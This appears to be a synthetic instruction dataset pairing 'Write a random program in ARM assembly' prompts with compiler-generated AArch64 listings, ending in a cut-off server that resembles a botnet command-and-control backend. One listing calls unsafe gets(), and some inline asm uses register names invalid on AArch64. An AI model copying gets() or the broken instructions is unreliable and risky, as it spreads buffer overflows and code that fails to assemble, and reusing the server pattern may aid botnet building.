.cfi_def_cfa_offset 16
str x0, [sp, 8]
str x1, [sp]
#APP
// 83 "program.c" 1
svc 19
// 0 "" 2
#NO_APP
nop
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE5:
.size eadk_display_push_rect, .-eadk_display_push_rect
.align 2
.global eadk_display_push_rect_uniform
.type eadk_display_push_rect_uniform, %function
eadk_display_push_rect_uniform:
.LFB6:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, 8]
strh w1, [sp, 6]
#APP
// 87 "program.c" 1
svc 20
// 0 "" 2
#NO_APP
nop
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size eadk_display_push_rect_uniform, .-eadk_display_push_rect_uniform
.align 2
.global eadk_display_pull_rect
.type eadk_display_pull_rect, %function
eadk_display_pull_rect:
.LFB7:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, 8]
str x1, [sp]
#APP
// 91 "program.c" 1
svc 18
// 0 "" 2
#NO_APP
nop
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size eadk_display_pull_rect, .-eadk_display_pull_rect
.align 2
.global eadk_display_wait_for_vblank
.type eadk_display_wait_for_vblank, %function
eadk_display_wait_for_vblank:
.LFB8:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
#APP
// 95 "program.c" 1
svc 21 ; mov x4, r0
// 0 "" 2
#NO_APP
strb w4, [sp, 15]
ldrb w0, [sp, 15]
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size eadk_display_wait_for_vblank, .-eadk_display_wait_for_vblank
.align 2
.global eadk_keyboard_scan
.type eadk_keyboard_scan, %function
eadk_keyboard_scan:
.LFB9:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 40]
mov x1, 0
str xzr, [sp, 24]
add x0, sp, 24
str x0, [sp, 32]
ldr x4, [sp, 32]
#APP
// 101 "program.c" 1
mov r0, x4 ; svc 34
// 0 "" 2
#NO_APP
str x4, [sp, 32]
ldr x0, [sp, 32]
ldr x0, [x0]
mov x1, x0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 40]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L17
bl __stack_chk_fail
.L17:
mov x0, x1
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size eadk_keyboard_scan, .-eadk_keyboard_scan
.align 2
.global eadk_keyboard_pop_state
.type eadk_keyboard_pop_state, %function
eadk_keyboard_pop_state:
.LFB10:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 40]
mov x1, 0
str xzr, [sp, 24]
add x0, sp, 24
str x0, [sp, 32]
ldr x4, [sp, 32]
#APP
// 105 "program.c" 1
mov r0, x4 ; svc 33
// 0 "" 2
#NO_APP
str x4, [sp, 32]
ldr x0, [sp, 32]
ldr x0, [x0]
mov x1, x0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 40]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L20
bl __stack_chk_fail
.L20:
mov x0, x1
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE10:
.size eadk_keyboard_pop_state, .-eadk_keyboard_pop_state
.align 2
.global eadk_timing_usleep
.type eadk_timing_usleep, %function
eadk_timing_usleep:
.LFB11:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, 12]
#APP
// 109 "program.c" 1
svc 50
// 0 "" 2
#NO_APP
nop
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE11:
.size eadk_timing_usleep, .-eadk_timing_usleep
.align 2
.global eadk_timing_msleep
.type eadk_timing_msleep, %function
eadk_timing_msleep:
.LFB12:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, 12]
#APP
// 113 "program.c" 1
svc 49
// 0 "" 2
#NO_APP
nop
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE12:
.size eadk_timing_msleep, .-eadk_timing_msleep
.align 2
.global eadk_timing_millis
.type eadk_timing_millis, %function
eadk_timing_millis:
.LFB13:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 40]
mov x1, 0
str xzr, [sp, 24]
add x0, sp, 24
str x0, [sp, 32]
ldr x4, [sp, 32]
#APP
// 117 "program.c" 1
svc 48 ; str r0, [x4] ; str r1, [x4,#4]
// 0 "" 2
#NO_APP
str x4, [sp, 32]
ldr x0, [sp, 32]
ldr x0, [x0]
mov x1, x0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 40]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L25
bl __stack_chk_fail
.L25:
mov x0, x1
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE13:
.size eadk_timing_millis, .-eadk_timing_millis
.align 2
.global eadk_usb_is_plugged
.type eadk_usb_is_plugged, %function
eadk_usb_is_plugged:
.LFB14:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
#APP
// 122 "program.c" 1
svc 52 ; mov x4, r0
// 0 "" 2
#NO_APP
strb w4, [sp, 15]
ldrb w0, [sp, 15]
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE14:
.size eadk_usb_is_plugged, .-eadk_usb_is_plugged
.align 2
.global eadk_random
.type eadk_random, %function
eadk_random:
.LFB15:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
#APP
// 126 "program.c" 1
svc 45 ; mov x4, r0
// 0 "" 2
#NO_APP
str w4, [sp, 12]
ldr w0, [sp, 12]
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE15:
.size eadk_random, .-eadk_random
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global buffer
.bss
.align 3
.type buffer, %object
.size buffer, 1105920
buffer:
.zero 1105920
.global buf1
.align 3
.type buf1, %object
.size buf1, 552960
buf1:
.zero 552960
.global buf2
.align 3
.type buf2, %object
.size buf2, 552960
buf2:
.zero 552960
.global header
.section .rodata
.align 3
.LC0:
.string "P5 1024 540 255 "
.section .data.rel.local,"aw"
.align 3
.type header, %object
.size header, 8
header:
.xword .LC0
.section .rodata
.align 3
.LC1:
.string "r"
.align 3
.LC2:
.string "w"
.align 3
.LC3:
.string "out1.pgm"
.align 3
.LC4:
.string "out2.pgm"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -64
str w0, [sp, 44]
str x1, [sp, 32]
ldr x0, [sp, 32]
add x0, x0, 8
ldr x2, [x0]
adrp x0, .LC1
add x1, x0, :lo12:.LC1
mov x0, x2
bl fopen
str x0, [sp, 56]
ldr x3, [sp, 56]
mov x2, 1
mov x1, 57344
movk x1, 0x10, lsl 16
adrp x0, buffer
add x0, x0, :lo12:buffer
bl fread
ldr x0, [sp, 56]
bl fclose
str wzr, [sp, 52]
b .L2
.L3:
adrp x0, buffer
add x0, x0, :lo12:buffer
ldrsw x1, [sp, 52]
ldrh w0, [x0, x1, lsl 1]
lsr w0, w0, 8
and w0, w0, 65535
and w2, w0, 255
adrp x0, buf1
add x1, x0, :lo12:buf1
ldrsw x0, [sp, 52]
strb w2, [x1, x0]
adrp x0, buffer
add x0, x0, :lo12:buffer
ldrsw x1, [sp, 52]
ldrh w0, [x0, x1, lsl 1]
and w2, w0, 255
adrp x0, buf2
add x1, x0, :lo12:buf2
ldrsw x0, [sp, 52]
strb w2, [x1, x0]
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L2:
ldr w1, [sp, 52]
mov w0, 28671
movk w0, 0x8, lsl 16
cmp w1, w0
ble .L3
adrp x0, .LC2
add x1, x0, :lo12:.LC2
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl fopen
str x0, [sp, 64]
adrp x0, header
add x0, x0, :lo12:header
ldr x19, [x0]
adrp x0, header
add x0, x0, :lo12:header
ldr x0, [x0]
bl strlen
ldr x3, [sp, 64]
mov x2, 1
mov x1, x0
mov x0, x19
bl fwrite
ldr x3, [sp, 64]
mov x2, 1
mov x1, 28672
movk x1, 0x8, lsl 16
adrp x0, buf1
add x0, x0, :lo12:buf1
bl fwrite
ldr x0, [sp, 64]
bl fclose
adrp x0, .LC2
add x1, x0, :lo12:.LC2
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl fopen
str x0, [sp, 72]
adrp x0, header
add x0, x0, :lo12:header
ldr x19, [x0]
adrp x0, header
add x0, x0, :lo12:header
ldr x0, [x0]
bl strlen
ldr x3, [sp, 72]
mov x2, 1
mov x1, x0
mov x0, x19
bl fwrite
ldr x3, [sp, 72]
mov x2, 1
mov x1, 28672
movk x1, 0x8, lsl 16
adrp x0, buf2
add x0, x0, :lo12:buf2
bl fwrite
ldr x0, [sp, 72]
bl fclose
mov w0, 0
ldr x19, [sp, 16]
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "Needs file argument."
.align 3
.LC1:
.string "open"
.align 3
.LC2:
.string "read"
.align 3
.LC3:
.string "%d %d %d %d %d %d %d %d %s %s\n"
.align 3
.LC4:
.string "%s - %s\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
sub sp, sp, #65536
.cfi_def_cfa_offset 65536
str xzr, [sp, 1024]
mov x12, 62640
sub sp, sp, x12
.cfi_def_cfa_offset 128176
stp x29, x30, [sp, 32]
.cfi_offset 29, -128144
.cfi_offset 30, -128136
add x29, sp, 32
str w0, [sp, 60]
str x1, [sp, 48]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
add x1, sp, 114688
ldr x2, [x0]
str x2, [x1, 13480]
mov x2, 0
ldr w0, [sp, 60]
cmp w0, 1
bgt .L2
adrp x0, .LC0
add x1, x0, :lo12:.LC0
mov w0, 1
bl errx
.L2:
ldr x0, [sp, 48]
ldr x0, [x0, 8]
str x0, [sp, 128]
mov w1, 0
ldr x0, [sp, 128]
bl open
str w0, [sp, 76]
ldr w0, [sp, 76]
cmn w0, #1
bne .L3
adrp x0, .LC1
add x1, x0, :lo12:.LC1
mov w0, 1
bl err
.L3:
add x0, sp, 168
mov x2, 62464
movk x2, 0x1, lsl 16
mov x1, x0
ldr w0, [sp, 76]
bl read
str w0, [sp, 80]
ldr w0, [sp, 80]
cmn w0, #1
bne .L4
adrp x0, .LC2
add x1, x0, :lo12:.LC2
mov w0, 1
bl err
.L4:
ldr w0, [sp, 76]
bl close
ldrb w0, [sp, 168]
str w0, [sp, 84]
ldrb w0, [sp, 169]
str w0, [sp, 88]
ldrb w0, [sp, 170]
str w0, [sp, 92]
ldrb w0, [sp, 171]
str w0, [sp, 96]
ldrb w0, [sp, 172]
mov w1, w0
ldrb w0, [sp, 173]
lsl w0, w0, 8
add w1, w1, w0
ldrb w0, [sp, 174]
lsl w0, w0, 16
add w1, w1, w0
ldrb w0, [sp, 175]
lsl w0, w0, 24
add w0, w1, w0
str w0, [sp, 100]
ldrb w0, [sp, 176]
mov w1, w0
ldrb w0, [sp, 177]
lsl w0, w0, 8
add w0, w1, w0
str w0, [sp, 104]
ldrb w0, [sp, 178]
mov w1, w0
ldrb w0, [sp, 179]
lsl w0, w0, 8
add w0, w1, w0
str w0, [sp, 108]
ldr w0, [sp, 104]
sub w0, w0, #33
add w1, w0, 31
cmp w0, 0
csel w0, w1, w0, lt
asr w0, w0, 5
str w0, [sp, 112]
add x0, sp, 168
add x0, x0, 32
str x0, [sp, 136]
add x0, sp, 168
add x0, x0, 64
str x0, [sp, 144]
ldrb w0, [sp, 248]
str w0, [sp, 116]
adrp x0, :got:stdout
ldr x0, [x0, #:got_lo12:stdout]
ldr x8, [x0]
ldr x0, [sp, 136]
ldr x1, [sp, 144]
str x1, [sp, 24]
str x0, [sp, 16]
ldr w0, [sp, 112]
str w0, [sp, 8]
ldr w0, [sp, 108]
str w0, [sp]
ldr w7, [sp, 104]
ldr w6, [sp, 100]
ldr w5, [sp, 96]
ldr w4, [sp, 92]
ldr w3, [sp, 88]
ldr w2, [sp, 84]
adrp x0, .LC3
add x1, x0, :lo12:.LC3
mov x0, x8
bl fprintf
add x1, sp, 168
ldrsw x0, [sp, 104]
add x0, x1, x0
str x0, [sp, 120]
add x0, sp, 152
mov x2, 4
mov w1, 0
bl memset
add x0, sp, 160
mov x2, 4
mov w1, 0
bl memset
str wzr, [sp, 72]
b .L5
.L6:
ldr x0, [sp, 120]
add x0, x0, 1
str x0, [sp, 120]
add x0, sp, 152
mov x2, 3
ldr x1, [sp, 120]
bl memcpy
ldr x0, [sp, 120]
add x0, x0, 3
str x0, [sp, 120]
add x0, sp, 160
mov x2, 3
ldr x1, [sp, 120]
bl memcpy
adrp x0, :got:stdout
ldr x0, [x0, #:got_lo12:stdout]
ldr x4, [x0]
add x1, sp, 160
add x0, sp, 152
mov x3, x1
mov x2, x0
adrp x0, .LC4
add x1, x0, :lo12:.LC4
mov x0, x4
bl fprintf
ldr x0, [sp, 120]
add x0, x0, 3
str x0, [sp, 120]
ldr w0, [sp, 72]
add w0, w0, 1
str w0, [sp, 72]
.L5:
ldr w1, [sp, 72]
ldr w0, [sp, 100]
cmp w1, w0
blt .L6
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
add x3, sp, 114688
ldr x4, [x3, 13480]
ldr x2, [x0]
subs x4, x4, x2
mov x2, 0
beq .L8
bl __stack_chk_fail
.L8:
mov w0, w1
ldp x29, x30, [sp, 32]
.cfi_restore 29
.cfi_restore 30
add sp, sp, 1200
.cfi_def_cfa_offset 126976
add sp, sp, 126976
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global minof
.type minof, %function
minof:
.LFB0:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, 12]
str w1, [sp, 8]
ldr w1, [sp, 12]
ldr w0, [sp, 8]
cmp w1, w0
bge .L2
ldr w0, [sp, 12]
b .L3
.L2:
ldr w0, [sp, 8]
.L3:
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size minof, .-minof
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.type foo, %function
foo:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str w0, [sp, 28]
ldr w0, [sp, 28]
lsl x0, x0, 2
bl malloc
str x0, [sp, 56]
ldr w0, [sp, 28]
lsl x0, x0, 2
bl malloc
str x0, [sp, 64]
ldr w0, [sp, 28]
lsl x0, x0, 2
bl malloc
str x0, [sp, 72]
str wzr, [sp, 40]
b .L2
.L3:
ldr w0, [sp, 40]
lsl x0, x0, 2
ldr x1, [sp, 56]
add x0, x1, x0
ldr w1, [sp, 40]
lsl w1, w1, 1
str w1, [x0]
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L2:
ldr w1, [sp, 40]
ldr w0, [sp, 28]
cmp w1, w0
bcc .L3
str wzr, [sp, 44]
b .L4
.L5:
ldr w0, [sp, 44]
lsl x0, x0, 2
ldr x1, [sp, 64]
add x0, x1, x0
ldr w1, [sp, 44]
lsl w1, w1, 2
str w1, [x0]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L4:
ldr w1, [sp, 44]
ldr w0, [sp, 28]
cmp w1, w0
bcc .L5
str wzr, [sp, 48]
b .L6
.L7:
ldr w0, [sp, 48]
lsl x0, x0, 2
ldr x1, [sp, 56]
add x0, x1, x0
ldr w2, [x0]
ldr w0, [sp, 48]
lsl x0, x0, 2
ldr x1, [sp, 64]
add x0, x1, x0
ldr w1, [x0]
ldr w0, [sp, 48]
lsl x0, x0, 2
ldr x3, [sp, 72]
add x0, x3, x0
add w1, w2, w1
str w1, [x0]
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
.L6:
ldr w1, [sp, 48]
ldr w0, [sp, 28]
cmp w1, w0
bcc .L7
str wzr, [sp, 52]
b .L8
.L10:
ldr w0, [sp, 52]
lsl x0, x0, 2
ldr x1, [sp, 72]
add x0, x1, x0
ldr w1, [x0]
ldr w0, [sp, 52]
lsl x0, x0, 2
ldr x2, [sp, 56]
add x0, x2, x0
ldr w2, [x0]
ldr w0, [sp, 52]
lsl x0, x0, 2
ldr x3, [sp, 64]
add x0, x3, x0
ldr w0, [x0]
add w0, w2, w0
cmp w1, w0
beq .L9
bl abort
.L9:
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L8:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
cmp w1, w0
bcc .L10
ldr x0, [sp, 56]
bl free
ldr x0, [sp, 64]
bl free
ldr x0, [sp, 72]
bl free
mov w0, 0
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size foo, .-foo
.align 2
.global main
.type main, %function
main:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
mov w0, 1
movk w0, 0x8, lsl 16
bl foo
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "Enter a String to find it's length"
.align 3
.LC1:
.string "Humpty Dumpty"
.align 3
.LC2:
.string "String = %s Length = %d\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -144]!
.cfi_def_cfa_offset 144
.cfi_offset 29, -144
.cfi_offset 30, -136
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 136]
mov x1, 0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl puts
add x0, sp, 32
bl gets
add x0, sp, 32
bl stringlen
str w0, [sp, 24]
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl stringlen
str w0, [sp, 28]
add x0, sp, 32
ldr w2, [sp, 24]
mov x1, x0
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
ldr w2, [sp, 28]
adrp x0, .LC1
add x1, x0, :lo12:.LC1
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 136]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L3
bl __stack_chk_fail
.L3:
mov w0, w1
ldp x29, x30, [sp], 144
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size main, .-main
.align 2
.global stringlen
.type stringlen, %function
stringlen:
.LFB7:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
str wzr, [sp, 28]
b .L5
.L6:
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
ldr x0, [sp, 8]
add x0, x0, 1
str x0, [sp, 8]
.L5:
ldr x0, [sp, 8]
ldrb w0, [x0]
cmp w0, 0
bne .L6
ldr w0, [sp, 28]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size stringlen, .-stringlen
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global clients
.bss
.align 3
.type clients, %object
.size clients, 8000000
clients:
.zero 8000000
.global managements
.align 3
.type managements, %object
.size managements, 4000000
managements:
.zero 4000000
.local fileFD
.comm fileFD,8,8
.local epollFD
.comm epollFD,4,4
.local listenFD
.comm listenFD,4,4
.local managesConnected
.comm managesConnected,4,4
.text
.align 2
.global fdgets
.type fdgets, %function
fdgets:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
str w2, [sp, 16]
str wzr, [sp, 40]
mov w0, 1
str w0, [sp, 44]
b .L2
.L4:
ldrsw x0, [sp, 40]
ldr x1, [sp, 24]
add x0, x1, x0
mov x2, 1
mov x1, x0
ldr w0, [sp, 16]
bl read
str w0, [sp, 44]
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L2:
ldr w0, [sp, 44]
cmp w0, 1
bne .L3
ldr w1, [sp, 40]
ldr w0, [sp, 20]
cmp w1, w0
bge .L3
ldrsw x0, [sp, 40]
sub x0, x0, #1
ldr x1, [sp, 24]
add x0, x1, x0
ldrb w0, [x0]
cmp w0, 10
bne .L4
.L3:
ldr w0, [sp, 44]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size fdgets, .-fdgets
.align 2
.global trim
.type trim, %function
trim:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str wzr, [sp, 40]
ldr x0, [sp, 24]
bl strlen
sub w0, w0, #1
str w0, [sp, 44]
b .L7
.L8:
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L7:
ldrsw x0, [sp, 40]
ldr x1, [sp, 24]
add x0, x1, x0
ldrb w0, [x0]
bl isspace
cmp w0, 0
bne .L8
b .L9
.L11:
ldr w0, [sp, 44]
sub w0, w0, #1
str w0, [sp, 44]
.L9:
ldr w1, [sp, 44]
ldr w0, [sp, 40]
cmp w1, w0
blt .L10
ldrsw x0, [sp, 44]
ldr x1, [sp, 24]
add x0, x1, x0
ldrb w0, [x0]
bl isspace
cmp w0, 0
bne .L11
.L10:
ldr w0, [sp, 40]
str w0, [sp, 36]
b .L12
.L13:
ldrsw x0, [sp, 36]
ldr x1, [sp, 24]
add x1, x1, x0
ldr w2, [sp, 36]
ldr w0, [sp, 40]
sub w0, w2, w0
sxtw x0, w0
ldr x2, [sp, 24]
add x0, x2, x0
ldrb w1, [x1]
strb w1, [x0]
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L12:
ldr w1, [sp, 36]
ldr w0, [sp, 44]
cmp w1, w0
ble .L13
ldr w1, [sp, 36]
ldr w0, [sp, 40]
sub w0, w1, w0
sxtw x0, w0
ldr x1, [sp, 24]
add x0, x1, x0
strb wzr, [x0]
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size trim, .-trim
.section .rodata
.align 3
.LC0:
.string "fcntl"
.text
.align 2
.type make_socket_non_blocking, %function
make_socket_non_blocking:
.LFB8:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str w0, [sp, 28]
mov w2, 0
mov w1, 3
ldr w0, [sp, 28]
bl fcntl
str w0, [sp, 40]
ldr w0, [sp, 40]
cmn w0, #1
bne .L15
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl perror
mov w0, -1
b .L16
.L15:
ldr w0, [sp, 40]
orr w0, w0, 2048
str w0, [sp, 40]
ldr w2, [sp, 40]
mov w1, 4
ldr w0, [sp, 28]
bl fcntl
str w0, [sp, 44]
ldr w0, [sp, 44]
cmn w0, #1
bne .L17
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl perror
mov w0, -1
b .L16
.L17:
mov w0, 0
.L16:
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size make_socket_non_blocking, .-make_socket_non_blocking
.section .rodata
.align 3
.LC1:
.string "getaddrinfo: %s\n"
.align 3
.LC2:
.string "setsockopt"
.align 3
.LC3:
.string "Could not bind\n"
.text
.align 2
.type create_and_bind, %function
create_and_bind:
.LFB9:
.cfi_startproc
stp x29, x30, [sp, -144]!
.cfi_def_cfa_offset 144
.cfi_offset 29, -144
.cfi_offset 30, -136
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -128
str x0, [sp, 40]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 136]
mov x1, 0
add x0, sp, 88
mov x2, 48
mov w1, 0
bl memset
str wzr, [sp, 92]
mov w0, 1
str w0, [sp, 96]
mov w0, 1
str w0, [sp, 88]
add x1, sp, 72
add x0, sp, 88
mov x3, x1
mov x2, x0
ldr x1, [sp, 40]
mov x0, 0
bl getaddrinfo
str w0, [sp, 68]
ldr w0, [sp, 68]
cmp w0, 0
beq .L19
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x19, [x0]
ldr w0, [sp, 68]
bl gai_strerror
mov x2, x0
adrp x0, .LC1
add x1, x0, :lo12:.LC1
mov x0, x19
bl fprintf
mov w0, -1
b .L29
.L19:
ldr x0, [sp, 72]
str x0, [sp, 80]
b .L21
.L27:
ldr x0, [sp, 80]
ldr w3, [x0, 4]
ldr x0, [sp, 80]
ldr w1, [x0, 8]
ldr x0, [sp, 80]
ldr w0, [x0, 12]
mov w2, w0
mov w0, w3
bl socket
str w0, [sp, 64]
ldr w0, [sp, 64]
cmn w0, #1
beq .L31
mov w0, 1
str w0, [sp, 60]
add x0, sp, 60
mov w4, 4
mov x3, x0
mov w2, 2
mov w1, 1
ldr w0, [sp, 64]
bl setsockopt
cmn w0, #1
bne .L24
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl perror
.L24:
ldr x0, [sp, 80]
ldr x1, [x0, 24]
ldr x0, [sp, 80]
ldr w0, [x0, 16]
mov w2, w0
ldr w0, [sp, 64]
bl bind
str w0, [sp, 68]
ldr w0, [sp, 68]
cmp w0, 0
beq .L32
ldr w0, [sp, 64]
bl close
b .L23
.L31:
nop
.L23:
ldr x0, [sp, 80]
ldr x0, [x0, 40]
str x0, [sp, 80]
.L21:
ldr x0, [sp, 80]
cmp x0, 0
bne .L27
b .L26
.L32:
nop
.L26:
ldr x0, [sp, 80]
cmp x0, 0
bne .L28
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x0, [x0]
mov x3, x0
mov x2, 15
mov x1, 1
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl fwrite
mov w0, -1
b .L29
.L28:
ldr x0, [sp, 72]
bl freeaddrinfo
ldr w0, [sp, 64]
.L29:
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 136]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L30
bl __stack_chk_fail
.L30:
mov w0, w1
ldr x19, [sp, 16]
ldp x29, x30, [sp], 144
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size create_and_bind, .-create_and_bind
.section .rodata
.align 3
.LC4:
.string "PING"
.align 3
.LC5:
.string "\n"
.text
.align 2
.global broadcast
.type broadcast, %function
broadcast:
.LFB10:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
mov w0, 1
str w0, [sp, 40]
adrp x0, .LC4
add x1, x0, :lo12:.LC4
ldr x0, [sp, 24]
bl strcmp
cmp w0, 0
bne .L34
str wzr, [sp, 40]
.L34:
str wzr, [sp, 44]
b .L35
.L41:
ldr w1, [sp, 44]
ldr w0, [sp, 20]
cmp w1, w0
beq .L42
adrp x0, clients
add x1, x0, :lo12:clients
ldrsw x0, [sp, 44]
lsl x0, x0, 3
